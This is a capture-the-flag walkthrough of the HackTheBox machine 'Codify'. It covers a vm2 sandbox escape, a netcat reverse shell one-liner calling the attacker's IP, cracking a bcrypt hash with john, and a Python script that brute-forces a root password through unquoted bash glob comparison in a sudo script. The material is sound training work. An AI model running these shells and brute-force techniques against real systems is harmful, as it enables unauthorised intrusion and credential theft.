Post

HackTheBox Codify

Writeup for HackTheBox Codify

HackTheBox Codify

Machine Synopsis

Codify is an easy Linux machine that features a web application that allows users to test Node.js code. The application uses a vulnerable vm2 library, which is leveraged to gain remote code execution. Enumerating the target reveals a SQLite database containing a hash which, once cracked, yields SSH access to the box. Finally, a vulnerable Bash script can be run with elevated privileges to reveal the root user's password, leading to privileged access to the machine. (Source)

Enumeration

1
2
3
4
5
6
7
8
9
10
11
12
13
$ nmap -sV -sC 10.10.11.239

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_  256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp   open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://codify.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
3000/tcp open  http    Node.js Express framework
|_http-title: Codify
Service Info: Host: codify.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Here is the webpage.

website

Here is the About us webpage.

about_us_webpage

Clicking on vm2 link on the webpage brings us to this GitHub release page.

Here is the Editor webpage.

editor_webpage

Exploitation

Searching for vm2 library exploit on Google resulted in this GitHub Gist code.

vm2_exploit

Simply get a shell by executing a reverse shell command and running a netcat listener.

1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.19 9999 >/tmp/f
1
2
3
4
5
6
7
8
9
10
$ nc -nlvp 9999
listening on [any] 9999 ...
connect to [10.10.14.19] from (UNKNOWN) [10.10.11.239] 41778
/bin/sh: 0: can't access tty; job control turned off
$ pwd
/home/svc
$ cd /home
$ ls
joshua
svc

It seems like we need to find a way to joshua user.

Found a ticket.db file after enumerating around.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ pwd
/var/www/contact
$ ls
index.js
package.json
package-lock.json
templates
tickets.db
$ cat tickets.db
�T5��T�format 3@  .WJ
       otableticketsticketsCREATE TABLE tickets (id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT, topic TEXT, description TEXT, status TEXT)P++Ytablesqlite_sequencesqlite_sequenceCREATE TABLE sqlite_sequence(name,seq)��	tableusersusersCREATE TABLE users (
        id INTEGER PRIMARY KEY AUTOINCREMENT, 
        username TEXT UNIQUE, 
        password TEXT
��G�joshua$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2
��
����ua  users
             ickets
r]r�h%%�Joe WilliamsLocal setup?I use this site lot of the time. Is it possible to set this up locally? Like instead of coming to this site, can I download this and set it up in my own computer? A feature like that would be nice.open� ;�wTom HanksNeed networking modulesI think it would be better if you can implement a way to handle network-based stuff. Would help me out a lot. Thanks!open$

Crack the credentials found using john.

1
2
3
4
5
$ cat joshua_hash
$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2
$ john joshua_hash --wordlist=/usr/share/wordlists/rockyou.txt
...
spongebob1       (?)     

Cracked the password spongebob1 for joshua.

1
2
3
4
5
ssh joshua@10.10.11.239
...
joshua@10.10.11.239's password: spongebob1
...
joshua@codify:~$ 

Privilege Escalation

1
2
3
4
5
6
7
8
9
joshua@codify:~$ sudo -l
[sudo] password for joshua: 
Matching Defaults entries for joshua on codify:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User joshua may run the following commands on codify:
    (root) /opt/scripts/mysql-backup.sh
joshua@codify:~$ id
uid=1000(joshua) gid=1000(joshua) groups=1000(joshua)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
joshua@codify:~$ cat /opt/scripts/mysql-backup.sh
#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"

read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo

if [[ $DB_PASS == $USER_PASS ]]; then
        /usr/bin/echo "Password confirmed!"
else
        /usr/bin/echo "Password confirmation failed!"
        exit 1
fi

/usr/bin/mkdir -p "$BACKUP_DIR"

databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")

for db in $databases; do
    /usr/bin/echo "Backing up database: $db"
    /usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done

/usr/bin/echo "All databases backed up successfully!"
/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
/usr/bin/chmod 774 -R "$BACKUP_DIR"
/usr/bin/echo 'Done!'

There are two potential issues in this script:

  • Bash has vulnerabilties when doing comparisons of strings where a variable is expanded not in “”.
1
2
3
4
5
6
if [[ $DB_PASS == $USER_PASS ]]; then
        /usr/bin/echo "Password confirmed!"
else
        /usr/bin/echo "Password confirmation failed!"
        exit 1
fi
  • When executing mysql and mysqldump commands, the password is provided via the command line, using the password stored in a file rather than one entered by the user. If the /proc directory is not mounted with hidepid, any user monitoring the process list can potentially view the password during its execution.
1
2
3
4
5
6
databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")

for db in $databases; do
    /usr/bin/echo "Backing up database: $db"
    /usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done

There is some interesting output after using a wildcard * when we are requested for a password.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
joshua@codify:~$ sudo /opt/scripts/mysql-backup.sh
Enter MySQL password for root: password
Password confirmation failed!
joshua@codify:~$ sudo /opt/scripts/mysql-backup.sh
Enter MySQL password for root: *
Password confirmed!
mysql: [Warning] Using a password on the command line interface can be insecure.
Backing up database: mysql
mysqldump: [Warning] Using a password on the command line interface can be insecure.
-- Warning: column statistics not supported by the server.
mysqldump: Got error: 1556: You can't use locks with log tables when using LOCK TABLES
mysqldump: Got error: 1556: You can't use locks with log tables when using LOCK TABLES
Backing up database: sys
mysqldump: [Warning] Using a password on the command line interface can be insecure.
-- Warning: column statistics not supported by the server.
All databases backed up successfully!
Changing the permissions
Done!

Craft a brute force python script that performs a check on all characters by inserting a wildcard behind the character being checked.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
joshua@codify:~$ cat brute.py
import string
import subprocess
all = list(string.ascii_letters + string.digits)
password = ""
found = False

while not found:
    for character in all:
        command = f"echo '{password}{character}*' | sudo /opt/scripts/mysql-backup.sh"
        output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout

        if "Password confirmed!" in output:
            password += character
            print(password)
            break
    else:
        found = True
joshua@codify:~$ python3 brute.py 
k
kl
klj
kljh
kljh1
kljh12
kljh12k
kljh12k3
kljh12k3j
kljh12k3jh
kljh12k3jha
kljh12k3jhas
kljh12k3jhask
kljh12k3jhaskj
kljh12k3jhaskjh
kljh12k3jhaskjh1
kljh12k3jhaskjh12
kljh12k3jhaskjh12k
kljh12k3jhaskjh12kj
kljh12k3jhaskjh12kjh
kljh12k3jhaskjh12kjh3

The root password is kljh12k3jhaskjh12kjh3.

1
2
3
joshua@codify:~$ su root
Password: 
root@codify:/home/joshua# 

Alternative Privilege Escalation

Use pspy to monitor the processes when attempting to enter the password * while executing /opt/scripts/mysql-backup.sh file.

1
2
3
4
5
joshua@codify:/dev/shm$ ./pspy64
...
- execute /opt/scripts/mysql-backup.sh and enter * as password value -
...
CMD: UID=0     PID=3758   | /usr/bin/mysql -u root -h 0.0.0.0 -P 3306 -pkljh12k3jhaskjh12kjh3 -e SHOW DATABASES; 
This post is licensed under CC BY 4.0 by the author.